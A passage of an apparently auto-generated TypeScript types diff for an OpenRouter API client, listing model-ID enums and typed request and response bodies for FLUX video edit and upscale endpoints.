'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestModelEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestModelEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestModelEnum] + +export const openrouterPostVideosBlackForestLabsFluxVideoEditRequestResolutionEnum = + { + '360p': '360p', + '480p': '480p', + '720p': '720p', + '768p': '768p', + '1080p': '1080p', + '1K': '1K', + '2K': '2K', + '4K': '4K', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestResolutionEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestResolutionEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestResolutionEnum] + +/** + * @description Black Forest Labs: FLUX Video Edit (black-forest-labs/flux-video-edit) — model-constrained video generation request. FLUX Video Edit [fast] takes a source video and an edit prompt and returns a precisely edited video. Add, remove, or replace objects and characters, rebuild the setting, edit on-screen... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @minimum 1 + * @example 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: safety_tolerance. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditOptions = { + body: OpenrouterPostVideosBlackForestLabsFluxVideoEditBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditResponses = { + '200': OpenrouterPostVideosBlackForestLabsFluxVideoEditStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditResponse = + OpenrouterPostVideosBlackForestLabsFluxVideoEditStatus200 + +export const openrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200StatusEnum = + { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200StatusEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200StatusEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestAspectRatioEnum = + { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', + '9:21': '9:21', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestAspectRatioEnum] + +export const openrouterPostVideosBlackForestLabsFluxVideoUpscaleRequestModelEnum = + { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': + 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': + 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 